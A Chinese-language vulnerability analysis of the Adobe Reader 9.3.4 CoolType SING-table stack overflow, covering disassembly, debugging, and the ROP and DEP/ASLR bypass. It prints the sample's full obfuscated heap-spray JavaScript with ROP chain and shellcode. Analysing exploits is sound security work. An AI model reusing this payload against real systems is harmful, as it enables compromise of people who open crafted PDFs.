测试环境:
Windows xp sp3
Adobe Reader 9.3.4
成因:
CoolType.dll库的strcat函数在解析SING表中的uniqueName域时未作长度检查而造成栈溢出
分析:
用IDA反汇编CoolType.dll库,通过字符串查找定位漏洞位置,下面为IDA的输出:
.text:0803DBF2 push ebp .text:0803DBF3 sub esp, 104h ; 分配栈空间0x104 .text:0803DBF9 lea ebp, [esp-4] .text:0803DBFD mov eax, dword_8230FB8 .text:0803DC02 xor eax, ebp .text:0803DC04 mov [ebp+104h], eax .text:0803DC0A push 4Ch .text:0803DC0C mov eax, offset loc_81847C4 .text:0803DC11 call __EH_prolog3_catch .text:0803DC16 mov eax, [ebp+arg_C] .text:0803DC1C mov edi, [ebp+arg_0] .text:0803DC22 mov ebx, [ebp+arg_4] .text:0803DC28 mov [ebp+var_28], edi .text:0803DC2B mov [ebp+var_30], eax .text:0803DC2E call sub_8041626 .text:0803DC33 xor esi, esi .text:0803DC35 cmp dword ptr [edi+8], 3 .text:0803DC39 mov [ebp+var_4], esi .text:0803DC3C jz loc_803DDF9 .text:0803DC42 mov [ebp+var_1C], esi .text:0803DC45 mov [ebp+var_18], esi .text:0803DC48 cmp dword ptr [edi+0Ch], 1 .text:0803DC4C mov byte ptr [ebp+var_4], 1 .text:0803DC50 jnz loc_803DDA2 .text:0803DC56 push offset aName ; "name" .text:0803DC5B push edi ; int .text:0803DC5C lea ecx, [ebp+var_1C] .text:0803DC5F mov [ebp+var_11], 0 .text:0803DC63 call sub_802178F .text:0803DC68 cmp [ebp+var_1C], esi .text:0803DC6B jnz short loc_803DCD6 .text:0803DC6D push offset aSing ; "SING" .text:0803DC72 push edi ; int .text:0803DC73 lea ecx, [ebp+var_24] .text:0803DC76 call sub_8021ABE .text:0803DC7B mov eax, [ebp+var_24] .text:0803DC7E cmp eax, esi .text:0803DC80 mov byte ptr [ebp+var_4], 2 .text:0803DC84 jz short loc_803DCBD .text:0803DC86 mov ecx, [eax] .text:0803DC88 and ecx, 0FFFFh .text:0803DC8E jz short loc_803DC98 .text:0803DC90 cmp ecx, 100h .text:0803DC96 jnz short loc_803DCB9 .text:0803DC98 .text:0803DC98 loc_803DC98: ; CODE XREF: sub_803DBF2+9Cj .text:0803DC98 add eax, 10h .text:0803DC9B push eax ; uniqueName域 .text:0803DC9C lea eax, [ebp+0] .text:0803DC9F push eax ; 目的地址:固定大小的栈空间 .text:0803DCA0 mov byte ptr [ebp+0], 0 .text:0803DCA4 call strcat ; 造成溢出!!! .text:0803DCA9 pop ecx .text:0803DCAA pop ecx
用PdfStreamDumper提取出pdf样本里的TTF文件,关于SING表的TableEntry结构如下:
官方文档中对TableEntry结构的定义:
typedef sturct_SING
{
char tag[4]; 标记:"SING"
ULONG checkSum; 校验和:"0xD9BCC8B5"
ULONG offset; 相对文件的偏移:"0x0000011C"
ULONG length: 数据长度:"0x00001DDF"
} TableEntry;
SING表数据结构:从TableEntry结构入口偏移0x11c,再偏移0x10即是uniqueName域;
打开OD调试Adobe,然后打开pdf样本文件,运行期间报错忽略; 执行到strcat后,会把 “58 E0 8D AD”开始的部分复制到ebp指定的地址处(0x0012E4D8),直到遇到NULL字符;
对上图数据窗口复制到缓冲区的紫色区域设置内存访问断点,Ctrl + F9不断执行, 多次尝试会发现中断于以下位置:
从此处跳入ROP链中,此时栈内存分布:
4A82A714处的指令为:
执行后跳转进入shellcode,此时栈内存分布如下:
0c0c0c0c处的shellcode是pdf样本里的JS代码通过Heap Spary技术实现的,JS代码提取如下:
//afjp;ajf'klaf var nXzaRHPbywqAbGpGxOtozGkvQWhu; for(i=0;i<28002;i++) // ahjf;ak' nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf var WjOZZFaiSj = unescape; var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj( "%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000"+ "\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" + "%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" + "%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" + "%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" + "%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" + "%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" + "%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" + "%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" + "%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" + "%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" + "%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" + "%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" + "%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" + "%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" + "%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" + "%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" + "%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" + "%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" + "%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" + "%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" + "%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" + "%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" + "%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" + "%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" + "%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" + "%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" + "%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" + "%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" + "%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" + "%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" + "%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" + "%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" + "%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" + "%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" + "%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" + "%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" + "%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" + "%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" + "%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" + "%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" + "%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" + "%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" + "%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" + "%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" + "%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" + "\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" + "%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" + "%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" + "%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" + "%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" + "%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" + "%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" + "%u5fea%u5d5e%uc25b%u0008" ); var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c"); while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn; SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2); SP += nXzaRHPbywqAbGpGxOtozGkvQWhu; SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn; xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2); while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000) //shp;aj;gfk xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC; //hfkahgla;jgh GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2); var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array(); for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x1f0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";
可以看出js代码运用了典型的堆喷射技术并做了混淆以防止被安全程序检测到。
之后,shellcode作者利用ROP技术调用API函数将shellcode写入到一段可执行可写的内存区域,然后跳转过去,执行恶意行为;恶意行为的分析请参照《漏洞战争》第二章。
结论:
本次的缓冲区溢出漏洞,其代码作者并没有用通用的方法覆盖返回地址(个人觉得貌似因为有GS保护会使得获取控制权失败),而是覆盖了虚函数地址(具体的覆盖流程一直没有调试出来,学艺不经啊!!),进而控制程序执行流程。运用ROP技术绕过了DEP保护,而构造ROP指令的地址也位于不受ASLR保护的icucnv36.dll模块,因而也绕过了ASLR。
两处跳转地址0x4A82A714和0x4A80CB38都位于icucnv36.dll模块; 而在Adobe Reader的各版本中,这两处地址始终不变,才保持了exploit的稳定性。
技术总结:
ROP
Heap Spary
参考:
《漏洞战争》
《0day安全 软件漏洞分析技术》
第一次分析漏洞,不足之处多多指教。